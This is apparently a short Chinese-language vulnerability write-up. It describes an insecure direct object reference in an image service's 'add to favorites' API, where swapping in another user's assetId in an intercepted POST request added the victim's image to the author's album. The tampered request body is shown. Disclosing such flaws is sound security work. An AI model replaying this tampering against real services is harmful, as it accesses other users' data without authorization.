未经许可，不得转载。

正文

在测试“添加到收藏夹”功能时，我拦截了发送到服务器的请求，请求体如下：

{
  “uriTemplate”：“asset/{assetId}/favorite”，
  “version”：“v2”，
  “type”：“POST”，
  “req_service”：“pict”，
  “url”：“asset/VICTIM'S_ASSETID/favorite?favorite=true”
   }

其中， assetId 参数的值为我图像的Id，我将该值更改为其他用户图像的参数值，发包后，成功将受害者的图像添加到我的收藏夹相册中。

这表明系统在处理“添加到收藏夹”请求时，未对 assetId 参数进行适当的访问控制或权限检查，从而允许未授权的操作。